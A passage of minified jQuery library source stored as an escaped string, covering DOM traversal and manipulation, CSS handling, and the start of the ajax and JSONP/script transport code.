m.filter(f,e)};m.attr=f.attr,m.selectors.attrMap={},f.find=m,f.expr=m.selectors,f.expr[\":\"]=f.expr.filters,f.unique=m.uniqueSort,f.text=m.getText,f.isXMLDoc=m.isXML,f.contains=m.contains}();var L=/Until$/,M=/^(?:parents|prevUntil|prevAll)/,N=/,/,O=/^.[^:#\\[\\.,]*$/,P=Array.prototype.slice,Q=f.expr.match.globalPOS,R={children:!0,contents:!0,next:!0,prev:!0};f.fn.extend({find:function(a){var b=this,c,d;if(typeof a!=\"string\")return f(a).filter(function(){for(c=0,d=b.length;c\u003cd;c++)if(f.contains(b[c],this))return!0});var e=this.pushStack(\"\",\"find\",a),g,h,i;for(c=0,d=this.length;c\u003cd;c++){g=e.length,f.find(a,this[c],e);if(c\u003e0)for(h=g;h\u003ce.length;h++)for(i=0;i\u003cg;i++)if(e[i]===e[h]){e.splice(h--,1);break}}return e},has:function(a){var b=f(a);return this.filter(function(){for(var a=0,c=b.length;a\u003cc;a++)if(f.contains(this,b[a]))return!0})},not:function(a){return this.pushStack(T(this,a,!1),\"not\",a)},filter:function(a){return this.pushStack(T(this,a,!0),\"filter\",a)},is:function(a){return!!a\u0026\u0026(typeof a==\"string\"?Q.test(a)?f(a,this.context).index(this[0])\u003e=0:f.filter(a,this).length\u003e0:this.filter(a).length\u003e0)},closest:function(a,b){var c=[],d,e,g=this[0];if(f.isArray(a)){var h=1;while(g\u0026\u0026g.ownerDocument\u0026\u0026g!==b){for(d=0;d\u003ca.length;d++)f(g).is(a[d])\u0026\u0026c.push({selector:a[d],elem:g,level:h});g=g.parentNode,h++}return c}var i=Q.test(a)||typeof a!=\"string\"?f(a,b||this.context):0;for(d=0,e=this.length;d\u003ce;d++){g=this[d];while(g){if(i?i.index(g)\u003e-1:f.find.matchesSelector(g,a)){c.push(g);break}g=g.parentNode;if(!g||!g.ownerDocument||g===b||g.nodeType===11)break}}c=c.length\u003e1?f.unique(c):c;return this.pushStack(c,\"closest\",a)},index:function(a){if(!a)return this[0]\u0026\u0026this[0].parentNode?this.prevAll().length:-1;if(typeof a==\"string\")return f.inArray(this[0],f(a));return f.inArray(a.jquery?a[0]:a,this)},add:function(a,b){var c=typeof a==\"string\"?f(a,b):f.makeArray(a\u0026\u0026a.nodeType?[a]:a),d=f.merge(this.get(),c);return this.pushStack(S(c[0])||S(d[0])?d:f.unique(d))},andSelf:function(){return this.add(this.prevObject)}}),f.each({parent:function(a){var b=a.parentNode;return b\u0026\u0026b.nodeType!==11?b:null},parents:function(a){return f.dir(a,\"parentNode\")},parentsUntil:function(a,b,c){return f.dir(a,\"parentNode\",c)},next:function(a){return f.nth(a,2,\"nextSibling\")},prev:function(a){return f.nth(a,2,\"previousSibling\")},nextAll:function(a){return f.dir(a,\"nextSibling\")},prevAll:function(a){return f.dir(a,\"previousSibling\")},nextUntil:function(a,b,c){return f.dir(a,\"nextSibling\",c)},prevUntil:function(a,b,c){return f.dir(a,\"previousSibling\",c)},siblings:function(a){return f.sibling((a.parentNode||{}).firstChild,a)},children:function(a){return f.sibling(a.firstChild)},contents:function(a){return f.nodeName(a,\"iframe\")?a.contentDocument||a.contentWindow.document:f.makeArray(a.childNodes)}},function(a,b){f.fn[a]=function(c,d){var e=f.map(this,b,c);L.test(a)||(d=c),d\u0026\u0026typeof d==\"string\"\u0026\u0026(e=f.filter(d,e)),e=this.length\u003e1\u0026\u0026!R[a]?f.unique(e):e,(this.length\u003e1||N.test(d))\u0026\u0026M.test(a)\u0026\u0026(e=e.reverse());return this.pushStack(e,a,P.call(arguments).join(\",\"))}}),f.extend({filter:function(a,b,c){c\u0026\u0026(a=\":not(\"+a+\")\");return b.length===1?f.find.matchesSelector(b[0],a)?[b[0]]:[]:f.find.matches(a,b)},dir:function(a,c,d){var e=[],g=a[c];while(g\u0026\u0026g.nodeType!==9\u0026\u0026(d===b||g.nodeType!==1||!f(g).is(d)))g.nodeType===1\u0026\u0026e.push(g),g=g[c];return e},nth:function(a,b,c,d){b=b||1;var e=0;for(;a;a=a[c])if(a.nodeType===1\u0026\u0026++e===b)break;return a},sibling:function(a,b){var c=[];for(;a;a=a.nextSibling)a.nodeType===1\u0026\u0026a!==b\u0026\u0026c.push(a);return c}});var V=\"abbr|article|aside|audio|bdi|canvas|data|datalist|details|figcaption|figure|footer|header|hgroup|mark|meter|nav|output|progress|section|summary|time|video\",W=/ jQuery\\d+=\"(?:\\d+|null)\"/g,X=/^\\s+/,Y=/\u003c(?!area|br|col|embed|hr|img|input|link|meta|param)(([\\w:]+)[^\u003e]*)\\/\u003e/ig,Z=/\u003c([\\w:]+)/,$=/\u003ctbody/i,_=/\u003c|\u0026#?\\w+;/,ba=/\u003c(?:script|style)/i,bb=/\u003c(?:script|object|embed|option|style)/i,bc=new RegExp(\"\u003c(?:\"+V+\")[\\\\s/\u003e]\",\"i\"),bd=/checked\\s*(?:[^=]|=\\s*.checked.)/i,be=/\\/(java|ecma)script/i,bf=/^\\s*\u003c!(?:\\[CDATA\\[|\\-\\-)/,bg={option:[1,\"\u003cselect multiple='multiple'\u003e\",\"\u003c/select\u003e\"],legend:[1,\"\u003cfieldset\u003e\",\"\u003c/fieldset\u003e\"],thead:[1,\"\u003ctable\u003e\",\"\u003c/table\u003e\"],tr:[2,\"\u003ctable\u003e\u003ctbody\u003e\",\"\u003c/tbody\u003e\u003c/table\u003e\"],td:[3,\"\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\",\"\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\"],col:[2,\"\u003ctable\u003e\u003ctbody\u003e\u003c/tbody\u003e\u003ccolgroup\u003e\",\"\u003c/colgroup\u003e\u003c/table\u003e\"],area:[1,\"\u003cmap\u003e\",\"\u003c/map\u003e\"],_default:[0,\"\",\"\"]},bh=U(c);bg.optgroup=bg.option,bg.tbody=bg.tfoot=bg.colgroup=bg.caption=bg.thead,bg.th=bg.td,f.support.htmlSerialize||(bg._default=[1,\"div\u003cdiv\u003e\",\"\u003c/div\u003e\"]),f.fn.extend({text:function(a){return f.access(this,function(a){return a===b?f.text(this):this.empty().append((this[0]\u0026\u0026this[0].ownerDocument||c).createTextNode(a))},null,a,arguments.length)},wrapAll:function(a){if(f.isFunction(a))return this.each(function(b){f(this).wrapAll(a.call(this,b))});if(this[0]){var b=f(a,this[0].ownerDocument).eq(0).clone(!0);this[0].parentNode\u0026\u0026b.insertBefore(this[0]),b.map(function(){var a=this;while(a.firstChild\u0026\u0026a.firstChild.nodeType===1)a=a.firstChild;return a}).append(this)}return this},wrapInner:function(a){if(f.isFunction(a))return this.each(function(b){f(this).wrapInner(a.call(this,b))});return this.each(function(){var b=f(this),c=b.contents();c.length?c.wrapAll(a):b.append(a)})},wrap:function(a){var b=f.isFunction(a);return this.each(function(c){f(this).wrapAll(b?a.call(this,c):a)})},unwrap:function(){return this.parent().each(function(){f.nodeName(this,\"body\")||f(this).replaceWith(this.childNodes)}).end()},append:function(){return this.domManip(arguments,!0,function(a){this.nodeType===1\u0026\u0026this.appendChild(a)})},prepend:function(){return this.domManip(arguments,!0,function(a){this.nodeType===1\u0026\u0026this.insertBefore(a,this.firstChild)})},before:function(){if(this[0]\u0026\u0026this[0].parentNode)return this.domManip(arguments,!1,function(a){this.parentNode.insertBefore(a,this)});if(arguments.length){var a=f\n.clean(arguments);a.push.apply(a,this.toArray());return this.pushStack(a,\"before\",arguments)}},after:function(){if(this[0]\u0026\u0026this[0].parentNode)return this.domManip(arguments,!1,function(a){this.parentNode.insertBefore(a,this.nextSibling)});if(arguments.length){var a=this.pushStack(this,\"after\",arguments);a.push.apply(a,f.clean(arguments));return a}},remove:function(a,b){for(var c=0,d;(d=this[c])!=null;c++)if(!a||f.filter(a,[d]).length)!b\u0026\u0026d.nodeType===1\u0026\u0026(f.cleanData(d.getElementsByTagName(\"*\")),f.cleanData([d])),d.parentNode\u0026\u0026d.parentNode.removeChild(d);return this},empty:function(){for(var a=0,b;(b=this[a])!=null;a++){b.nodeType===1\u0026\u0026f.cleanData(b.getElementsByTagName(\"*\"));while(b.firstChild)b.removeChild(b.firstChild)}return this},clone:function(a,b){a=a==null?!1:a,b=b==null?a:b;return this.map(function(){return f.clone(this,a,b)})},html:function(a){return f.access(this,function(a){var c=this[0]||{},d=0,e=this.length;if(a===b)return c.nodeType===1?c.innerHTML.replace(W,\"\"):null;if(typeof a==\"string\"\u0026\u0026!ba.test(a)\u0026\u0026(f.support.leadingWhitespace||!X.test(a))\u0026\u0026!bg[(Z.exec(a)||[\"\",\"\"])[1].toLowerCase()]){a=a.replace(Y,\"\u003c$1\u003e\u003c/$2\u003e\");try{for(;d\u003ce;d++)c=this[d]||{},c.nodeType===1\u0026\u0026(f.cleanData(c.getElementsByTagName(\"*\")),c.innerHTML=a);c=0}catch(g){}}c\u0026\u0026this.empty().append(a)},null,a,arguments.length)},replaceWith:function(a){if(this[0]\u0026\u0026this[0].parentNode){if(f.isFunction(a))return this.each(function(b){var c=f(this),d=c.html();c.replaceWith(a.call(this,b,d))});typeof a!=\"string\"\u0026\u0026(a=f(a).detach());return this.each(function(){var b=this.nextSibling,c=this.parentNode;f(this).remove(),b?f(b).before(a):f(c).append(a)})}return this.length?this.pushStack(f(f.isFunction(a)?a():a),\"replaceWith\",a):this},detach:function(a){return this.remove(a,!0)},domManip:function(a,c,d){var e,g,h,i,j=a[0],k=[];if(!f.support.checkClone\u0026\u0026arguments.length===3\u0026\u0026typeof j==\"string\"\u0026\u0026bd.test(j))return this.each(function(){f(this).domManip(a,c,d,!0)});if(f.isFunction(j))return this.each(function(e){var g=f(this);a[0]=j.call(this,e,c?g.html():b),g.domManip(a,c,d)});if(this[0]){i=j\u0026\u0026j.parentNode,f.support.parentNode\u0026\u0026i\u0026\u0026i.nodeType===11\u0026\u0026i.childNodes.length===this.length?e={fragment:i}:e=f.buildFragment(a,this,k),h=e.fragment,h.childNodes.length===1?g=h=h.firstChild:g=h.firstChild;if(g){c=c\u0026\u0026f.nodeName(g,\"tr\");for(var l=0,m=this.length,n=m-1;l\u003cm;l++)d.call(c?bi(this[l],g):this[l],e.cacheable||m\u003e1\u0026\u0026l\u003cn?f.clone(h,!0,!0):h)}k.length\u0026\u0026f.each(k,function(a,b){b.src?f.ajax({type:\"GET\",global:!1,url:b.src,async:!1,dataType:\"script\"}):f.globalEval((b.text||b.textContent||b.innerHTML||\"\").replace(bf,\"/*$0*/\")),b.parentNode\u0026\u0026b.parentNode.removeChild(b)})}return this}}),f.buildFragment=function(a,b,d){var e,g,h,i,j=a[0];b\u0026\u0026b[0]\u0026\u0026(i=b[0].ownerDocument||b[0]),i.createDocumentFragment||(i=c),a.length===1\u0026\u0026typeof j==\"string\"\u0026\u0026j.length\u003c512\u0026\u0026i===c\u0026\u0026j.charAt(0)===\"\u003c\"\u0026\u0026!bb.test(j)\u0026\u0026(f.support.checkClone||!bd.test(j))\u0026\u0026(f.support.html5Clone||!bc.test(j))\u0026\u0026(g=!0,h=f.fragments[j],h\u0026\u0026h!==1\u0026\u0026(e=h)),e||(e=i.createDocumentFragment(),f.clean(a,i,e,d)),g\u0026\u0026(f.fragments[j]=h?e:1);return{fragment:e,cacheable:g}},f.fragments={},f.each({appendTo:\"append\",prependTo:\"prepend\",insertBefore:\"before\",insertAfter:\"after\",replaceAll:\"replaceWith\"},function(a,b){f.fn[a]=function(c){var d=[],e=f(c),g=this.length===1\u0026\u0026this[0].parentNode;if(g\u0026\u0026g.nodeType===11\u0026\u0026g.childNodes.length===1\u0026\u0026e.length===1){e[b](this[0]);return this}for(var h=0,i=e.length;h\u003ci;h++){var j=(h\u003e0?this.clone(!0):this).get();f(e[h])[b](j),d=d.concat(j)}return this.pushStack(d,a,e.selector)}}),f.extend({clone:function(a,b,c){var d,e,g,h=f.support.html5Clone||f.isXMLDoc(a)||!bc.test(\"\u003c\"+a.nodeName+\"\u003e\")?a.cloneNode(!0):bo(a);if((!f.support.noCloneEvent||!f.support.noCloneChecked)\u0026\u0026(a.nodeType===1||a.nodeType===11)\u0026\u0026!f.isXMLDoc(a)){bk(a,h),d=bl(a),e=bl(h);for(g=0;d[g];++g)e[g]\u0026\u0026bk(d[g],e[g])}if(b){bj(a,h);if(c){d=bl(a),e=bl(h);for(g=0;d[g];++g)bj(d[g],e[g])}}d=e=null;return h},clean:function(a,b,d,e){var g,h,i,j=[];b=b||c,typeof b.createElement==\"undefined\"\u0026\u0026(b=b.ownerDocument||b[0]\u0026\u0026b[0].ownerDocument||c);for(var k=0,l;(l=a[k])!=null;k++){typeof l==\"number\"\u0026\u0026(l+=\"\");if(!l)continue;if(typeof l==\"string\")if(!_.test(l))l=b.createTextNode(l);else{l=l.replace(Y,\"\u003c$1\u003e\u003c/$2\u003e\");var m=(Z.exec(l)||[\"\",\"\"])[1].toLowerCase(),n=bg[m]||bg._default,o=n[0],p=b.createElement(\"div\"),q=bh.childNodes,r;b===c?bh.appendChild(p):U(b).appendChild(p),p.innerHTML=n[1]+l+n[2];while(o--)p=p.lastChild;if(!f.support.tbody){var s=$.test(l),t=m===\"table\"\u0026\u0026!s?p.firstChild\u0026\u0026p.firstChild.childNodes:n[1]===\"\u003ctable\u003e\"\u0026\u0026!s?p.childNodes:[];for(i=t.length-1;i\u003e=0;--i)f.nodeName(t[i],\"tbody\")\u0026\u0026!t[i].childNodes.length\u0026\u0026t[i].parentNode.removeChild(t[i])}!f.support.leadingWhitespace\u0026\u0026X.test(l)\u0026\u0026p.insertBefore(b.createTextNode(X.exec(l)[0]),p.firstChild),l=p.childNodes,p\u0026\u0026(p.parentNode.removeChild(p),q.length\u003e0\u0026\u0026(r=q[q.length-1],r\u0026\u0026r.parentNode\u0026\u0026r.parentNode.removeChild(r)))}var u;if(!f.support.appendChecked)if(l[0]\u0026\u0026typeof (u=l.length)==\"number\")for(i=0;i\u003cu;i++)bn(l[i]);else bn(l);l.nodeType?j.push(l):j=f.merge(j,l)}if(d){g=function(a){return!a.type||be.test(a.type)};for(k=0;j[k];k++){h=j[k];if(e\u0026\u0026f.nodeName(h,\"script\")\u0026\u0026(!h.type||be.test(h.type)))e.push(h.parentNode?h.parentNode.removeChild(h):h);else{if(h.nodeType===1){var v=f.grep(h.getElementsByTagName(\"script\"),g);j.splice.apply(j,[k+1,0].concat(v))}d.appendChild(h)}}}return j},cleanData:function(a){var b,c,d=f.cache,e=f.event.special,g=f.support.deleteExpando;for(var h=0,i;(i=a[h])!=null;h++){if(i.nodeName\u0026\u0026f.noData[i.nodeName.toLowerCase()])continue;c=i[f.expando];if(c){b=d[c];if(b\u0026\u0026b.events){for(var j in b.events)e[j]?f.event.remove(i,j):f.removeEvent(i,j,b.handle);b.handle\u0026\u0026(b.handle.elem=null)}g?delete i[f.expando]:i.removeAttribute\u0026\u0026i.removeAttribute(f.expando),delete d[c]}}}});var bp=/alpha\\([^)]*\\)/i,bq=/opacity=([^)]*)/,br=/([A-Z]|^ms)/g,bs=/^[\\-+]?(?:\\d*\\.)?\\d+$/i,bt=/^-?(?:\\d*\\.)?\\d+(?!px)[^\\d\\s]+$/i,bu=/^([\\-+])=([\\-+.\\de]+)/,bv=/^margin/,bw={position:\"absolute\",visibility:\"hidden\",display:\"block\"},bx=[\"Top\",\"Right\",\"Bottom\",\"Left\"],by,bz,bA;f.fn.css=function(a,c){return f.access(this,function(a,c,d){return d!==b?f.style(a,c,d):f.css(a,c)},a,c,arguments.length\u003e1)},f.extend({cssHooks:{opacity:{get:function(a,b){if(b){var c=by(a,\"opacity\");return c===\"\"?\"1\":c}return a.style.opacity}}},cssNumber:{fillOpacity:!0,fontWeight:!0,lineHeight:!0,opacity:!0,orphans:!0,widows:!0,zIndex:!0,zoom:!0},cssProps:{\"float\":f.support.cssFloat?\"cssFloat\":\"styleFloat\"},style:function(a,c,d,e){if(!!a\u0026\u0026a.nodeType!==3\u0026\u0026a.nodeType!==8\u0026\u0026!!a.style){var g,h,i=f.camelCase(c),j=a.style,k=f.cssHooks[i];c=f.cssProps[i]||i;if(d===b){if(k\u0026\u0026\"get\"in k\u0026\u0026(g=k.get(a,!1,e))!==b)return g;return j[c]}h=typeof d,h===\"string\"\u0026\u0026(g=bu.exec(d))\u0026\u0026(d=+(g[1]+1)*+g[2]+parseFloat(f.css(a,c)),h=\"number\");if(d==null||h===\"number\"\u0026\u0026isNaN(d))return;h===\"number\"\u0026\u0026!f.cssNumber[i]\u0026\u0026(d+=\"px\");if(!k||!(\"set\"in k)||(d=k.set(a,d))!==b)try{j[c]=d}catch(l){}}},css:function(a,c,d){var e,g;c=f.camelCase(c),g=f.cssHooks[c],c=f.cssProps[c]||c,c===\"cssFloat\"\u0026\u0026(c=\"float\");if(g\u0026\u0026\"get\"in g\u0026\u0026(e=g.get(a,!0,d))!==b)return e;if(by)return by(a,c)},swap:function(a,b,c){var d={},e,f;for(f in b)d[f]=a.style[f],a.style[f]=b[f];e=c.call(a);for(f in b)a.style[f]=d[f];return e}}),f.curCSS=f.css,c.defaultView\u0026\u0026c.defaultView.getComputedStyle\u0026\u0026(bz=function(a,b){var c,d,e,g,h=a.style;b=b.replace(br,\"-$1\").toLowerCase(),(d=a.ownerDocument.defaultView)\u0026\u0026(e=d.getComputedStyle(a,null))\u0026\u0026(c=e.getPropertyValue(b),c===\"\"\u0026\u0026!f.contains(a.ownerDocument.documentElement,a)\u0026\u0026(c=f.style(a,b))),!f.support.pixelMargin\u0026\u0026e\u0026\u0026bv.test(b)\u0026\u0026bt.test(c)\u0026\u0026(g=h.width,h.width=c,c=e.width,h.width=g);return c}),c.documentElement.currentStyle\u0026\u0026(bA=function(a,b){var c,d,e,f=a.currentStyle\u0026\u0026a.currentStyle[b],g=a.style;f==null\u0026\u0026g\u0026\u0026(e=g[b])\u0026\u0026(f=e),bt.test(f)\u0026\u0026(c=g.left,d=a.runtimeStyle\u0026\u0026a.runtimeStyle.left,d\u0026\u0026(a.runtimeStyle.left=a.currentStyle.left),g.left=b===\"fontSize\"?\"1em\":f,f=g.pixelLeft+\"px\",g.left=c,d\u0026\u0026(a.runtimeStyle.left=d));return f===\"\"?\"auto\":f}),by=bz||bA,f.each([\"height\",\"width\"],function(a,b){f.cssHooks[b]={get:function(a,c,d){if(c)return a.offsetWidth!==0?bB(a,b,d):f.swap(a,bw,function(){return bB(a,b,d)})},set:function(a,b){return bs.test(b)?b+\"px\":b}}}),f.support.opacity||(f.cssHooks.opacity={get:function(a,b){return bq.test((b\u0026\u0026a.currentStyle?a.currentStyle.filter:a.style.filter)||\"\")?parseFloat(RegExp.$1)/100+\"\":b?\"1\":\"\"},set:function(a,b){var c=a.style,d=a.currentStyle,e=f.isNumeric(b)?\"alpha(opacity=\"+b*100+\")\":\"\",g=d\u0026\u0026d.filter||c.filter||\"\";c.zoom=1;if(b\u003e=1\u0026\u0026f.trim(g.replace(bp,\"\"))===\"\"){c.removeAttribute(\"filter\");if(d\u0026\u0026!d.filter)return}c.filter=bp.test(g)?g.replace(bp,e):g+\" \"+e}}),f(function(){f.support.reliableMarginRight||(f.cssHooks.marginRight={get:function(a,b){return f.swap(a,{display:\"inline-block\"},function(){return b?by(a,\"margin-right\"):a.style.marginRight})}})}),f.expr\u0026\u0026f.expr.filters\u0026\u0026(f.expr.filters.hidden=function(a){var b=a.offsetWidth,c=a.offsetHeight;return b===0\u0026\u0026c===0||!f.support.reliableHiddenOffsets\u0026\u0026(a.style\u0026\u0026a.style.display||f.css(a,\"display\"))===\"none\"},f.expr.filters.visible=function(a){return!f.expr.filters.hidden(a)}),f.each({margin:\"\",padding:\"\",border:\"Width\"},function(a,b){f.cssHooks[a+b]={expand:function(c){var d,e=typeof c==\"string\"?c.split(\" \"):[c],f={};for(d=0;d\u003c4;d++)f[a+bx[d]+b]=e[d]||e[d-2]||e[0];return f}}});var bC=/%20/g,bD=/\\[\\]$/,bE=/\\r?\\n/g,bF=/#.*$/,bG=/^(.*?):[ \\t]*([^\\r\\n]*)\\r?$/mg,bH=/^(?:color|date|datetime|datetime-local|email|hidden|month|number|password|range|search|tel|text|time|url|week)$/i,bI=/^(?:about|app|app\\-storage|.+\\-extension|file|res|widget):$/,bJ=/^(?:GET|HEAD)$/,bK=/^\\/\\//,bL=/\\?/,bM=/\u003cscript\\b[^\u003c]*(?:(?!\u003c\\/script\u003e)\u003c[^\u003c]*)*\u003c\\/script\u003e/gi,bN=/^(?:select|textarea)/i,bO=/\\s+/,bP=/([?\u0026])_=[^\u0026]*/,bQ=/^([\\w\\+\\.\\-]+:)(?:\\/\\/([^\\/?#:]*)(?::(\\d+))?)?/,bR=f.fn.load,bS={},bT={},bU,bV,bW=[\"*/\"]+[\"*\"];try{bU=e.href}catch(bX){bU=c.createElement(\"a\"),bU.href=\"\",bU=bU.href}bV=bQ.exec(bU.toLowerCase())||[],f.fn.extend({load:function(a,c,d){if(typeof a!=\"string\"\u0026\u0026bR)return bR.apply(this,arguments);if(!this.length)return this;var e=a.indexOf(\" \");if(e\u003e=0){var g=a.slice(e,a.length);a=a.slice(0,e)}var h=\"GET\";c\u0026\u0026(f.isFunction(c)?(d=c,c=b):typeof c==\"object\"\u0026\u0026(c=f.param(c,f.ajaxSettings.traditional),h=\"POST\"));var i=this;f.ajax({url:a,type:h,dataType:\"html\",data:c,complete:function(a,b,c){c=a.responseText,a.isResolved()\u0026\u0026(a.done(function(a){c=a}),i.html(g?f(\"\u003cdiv\u003e\").append(c.replace(bM,\"\")).find(g):c)),d\u0026\u0026i.each(d,[c,b,a])}});return this},serialize:function(){return f.param(this.serializeArray())},serializeArray:function(){return this.map(function(){return this.elements?f.makeArray(this.elements):this}).filter(function(){return this.name\u0026\u0026!this.disabled\u0026\u0026(this.checked||bN.test(this.nodeName)||bH.test(this.type))}).map(function(a,b){var c=f(this).val();return c==null?null:f.isArray(c)?f.map(c,function(a,c){return{name:b.name,value:a.replace(bE,\"\\r\\n\")}}):{name:b.name,value:c.replace(bE,\"\\r\\n\")}}).get()}}),f.each(\"ajaxStart ajaxStop ajaxComplete ajaxError ajaxSuccess ajaxSend\".split(\" \"),function(a,b){f.fn[b]=function(a){return this.on(b,a)}}),f.each([\"get\",\"post\"],function(a,c){f[c]=function(a,d,e,g){f.isFunction(d)\u0026\u0026(g=g||e,e=d,d=b);return f.ajax({type:c,url:a,data:d,success:e,dataType:g})}}),f.extend({getScript:function(a,c){return f.get(a,b,c,\"script\")},getJSON:function(a,b,c){return f.get(a,b,c,\"json\")},ajaxSetup:function(a,b){b?b$(a,f.ajaxSettings):(b=a,a=f.ajaxSettings),b$(a,b);return a},ajaxSettings:{url:bU,isLocal:bI.test(bV[1]),global:!0,type:\"GET\",contentType:\"application/x-www-form-urlencoded; charset=UTF-8\",processData:!0,async:!0,accepts:{xml:\"application/xml, text/xml\",html:\"text/html\",text:\"text/plain\",json:\"application/json, text/javascript\",\"*\":bW},contents:{xml:/xml/,html:/html/,json:/json/},responseFields:{xml:\"responseXML\",text:\"responseText\"},converters:{\"* text\":a.String,\"text html\":!0,\"text json\":f.parseJSON,\"text xml\":f.parseXML},flatOptions:{context:!0,url:!0}},ajaxPrefilter:bY(bS),ajaxTransport:bY(bT),ajax:function(a,c){function w(a,c,l,m){if(s!==2){s=2,q\u0026\u0026clearTimeout(q),p=b,n=m||\"\",v.readyState=a\u003e0?4:0;var o,r,u,w=c,x=l?ca(d,v,l):b,y,z;if(a\u003e=200\u0026\u0026a\u003c300||a===304){if(d.ifModified){if(y=v.getResponseHeader(\"Last-Modified\"))f.lastModified[k]=y;if(z=v.getResponseHeader(\"Etag\"))f.etag[k]=z}if(a===304)w=\"notmodified\",o=!0;else try{r=cb(d,x),w=\"success\",o=!0}catch(A){w=\"parsererror\",u=A}}else{u=w;if(!w||a)w=\"error\",a\u003c0\u0026\u0026(a=0)}v.status=a,v.statusText=\"\"+(c||w),o?h.resolveWith(e,[r,w,v]):h.rejectWith(e,[v,w,u]),v.statusCode(j),j=b,t\u0026\u0026g.trigger(\"ajax\"+(o?\"Success\":\"Error\"),[v,d,o?r:u]),i.fireWith(e,[v,w]),t\u0026\u0026(g.trigger(\"ajaxComplete\",[v,d]),--f.active||f.event.trigger(\"ajaxStop\"))}}typeof a==\"object\"\u0026\u0026(c=a,a=b),c=c||{};var d=f.ajaxSetup({},c),e=d.context||d,g=e!==d\u0026\u0026(e.nodeType||e instanceof f)?f(e):f.event,h=f.Deferred(),i=f.Callbacks(\"once memory\"),j=d.statusCode||{},k,l={},m={},n,o,p,q,r,s=0,t,u,v={readyState:0,setRequestHeader:function(a,b){if(!s){var c=a.toLowerCase();a=m[c]=m[c]||a,l[a]=b}return this},getAllResponseHeaders:function(){return s===2?n:null},getResponseHeader:function(a){var c;if(s===2){if(!o){o={};while(c=bG.exec(n))o[c[1].toLowerCase()]=c[2]}c=o[a.toLowerCase()]}return c===b?null:c},overrideMimeType:function(a){s||(d.mimeType=a);return this},abort:function(a){a=a||\"abort\",p\u0026\u0026p.abort(a),w(0,a);return this}};h.promise(v),v.success=v.done,v.error=v.fail,v.complete=i.add,v.statusCode=function(a){if(a){var b;if(s\u003c2)for(b in a)j[b]=[j[b],a[b]];else b=a[v.status],v.then(b,b)}return this},d.url=((a||d.url)+\"\").replace(bF,\"\").replace(bK,bV[1]+\"//\"),d.dataTypes=f.trim(d.dataType||\"*\").toLowerCase().split(bO),d.crossDomain==null\u0026\u0026(r=bQ.exec(d.url.toLowerCase()),d.crossDomain=!(!r||r[1]==bV[1]\u0026\u0026r[2]==bV[2]\u0026\u0026(r[3]||(r[1]===\"http:\"?80:443))==(bV[3]||(bV[1]===\"http:\"?80:443)))),d.data\u0026\u0026d.processData\u0026\u0026typeof d.data!=\"string\"\u0026\u0026(d.data=f.param(d.data,d.traditional)),bZ(bS,d,c,v);if(s===2)return!1;t=d.global,d.type=d.type.toUpperCase(),d.hasContent=!bJ.test(d.type),t\u0026\u0026f.active++===0\u0026\u0026f.event.trigger(\"ajaxStart\");if(!d.hasContent){d.data\u0026\u0026(d.url+=(bL.test(d.url)?\"\u0026\":\"?\")+d.data,delete d.data),k=d.url;if(d.cache===!1){var x=f.now(),y=d.url.replace(bP,\"$1_=\"+x);d.url=y+(y===d.url?(bL.test(d.url)?\"\u0026\":\"?\")+\"_=\"+x:\"\")}}(d.data\u0026\u0026d.hasContent\u0026\u0026d.contentType!==!1||c.contentType)\u0026\u0026v.setRequestHeader(\"Content-Type\",d.contentType),d.ifModified\u0026\u0026(k=k||d.url,f.lastModified[k]\u0026\u0026v.setRequestHeader(\"If-Modified-Since\",f.lastModified[k]),f.etag[k]\u0026\u0026v.setRequestHeader(\"If-None-Match\",f.etag[k])),v.setRequestHeader(\"Accept\",d.dataTypes[0]\u0026\u0026d.accepts[d.dataTypes[0]]?d.accepts[d.dataTypes[0]]+(d.dataTypes[0]!==\"*\"?\", \"+bW+\"; q=0.01\":\"\"):d.accepts[\"*\"]);for(u in d.headers)v.setRequestHeader(u,d.headers[u]);if(d.beforeSend\u0026\u0026(d.beforeSend.call(e,v,d)===!1||s===2)){v.abort();return!1}for(u in{success:1,error:1,complete:1})v[u](d[u]);p=bZ(bT,d,c,v);if(!p)w(-1,\"No Transport\");else{v.readyState=1,t\u0026\u0026g.trigger(\"ajaxSend\",[v,d]),d.async\u0026\u0026d.timeout\u003e0\u0026\u0026(q=setTimeout(function(){v.abort(\"timeout\")},d.timeout));try{s=1,p.send(l,w)}catch(z){if(s\u003c2)w(-1,z);else throw z}}return v},param:function(a,c){var d=[],e=function(a,b){b=f.isFunction(b)?b():b,d[d.length]=encodeURIComponent(a)+\"=\"+encodeURIComponent(b)};c===b\u0026\u0026(c=f.ajaxSettings.traditional);if(f.isArray(a)||a.jquery\u0026\u0026!f.isPlainObject(a))f.each(a,function(){e(this.name,this.value)});else for(var g in a)b_(g,a[g],c,e);return d.join(\"\u0026\").replace(bC,\"+\")}}),f.extend({active:0,lastModified:{},etag:{}});var cc=f.now(),cd=/(\\=)\\?(\u0026|$)|\\?\\?/i;f.ajaxSetup({jsonp:\"callback\",jsonpCallback:function(){return f.expando+\"_\"+cc++}}),f.ajaxPrefilter(\"json jsonp\",function(b,c,d){var e=typeof b.data==\"string\"\u0026\u0026/^application\\/x\\-www\\-form\\-urlencoded/.test(b.contentType);if(b.dataTypes[0]===\"jsonp\"||b.jsonp!==!1\u0026\u0026(cd.test(b.url)||e\u0026\u0026cd.test(b.data))){var g,h=b.jsonpCallback=f.isFunction(b.jsonpCallback)?b.jsonpCallback():b.jsonpCallback,i=a[h],j=b.url,k=b.data,l=\"$1\"+h+\"$2\";b.jsonp!==!1\u0026\u0026(j=j.replace(cd,l),b.url===j\u0026\u0026(e\u0026\u0026(k=k.replace(cd,l)),b.data===k\u0026\u0026(j+=(/\\?/.test(j)?\"\u0026\":\"?\")+b.jsonp+\"=\"+h))),b.url=j,b.data=k,a[h]=function(a){g=[a]},d.always(function(){a[h]=i,g\u0026\u0026f.isFunction(i)\u0026\u0026a[h](g[0])}),b.converters[\"script json\"]=function(){g||f.error(h+\" was not called\");return g[0]},b.dataTypes[0]=\"json\";return\"script\"}}),f.ajaxSetup({accepts:{script:\"text/javascript, application/javascript, application/ecmascript, application/x-ecmascript\"},contents:{script:/javascript|ecmascript/},converters:{\"text script\":function(a){f.globalEval(a);return a}}}),f.ajaxPrefilter(\"script\",function(a){a.cache===b\u0026\u0026(a.cache=!1),a.crossDomain\u0026\u0026(a.type=\"GET\",a.global=!1)}),f.ajaxTransport(\"script\",function(a){if(a.crossDomain){var 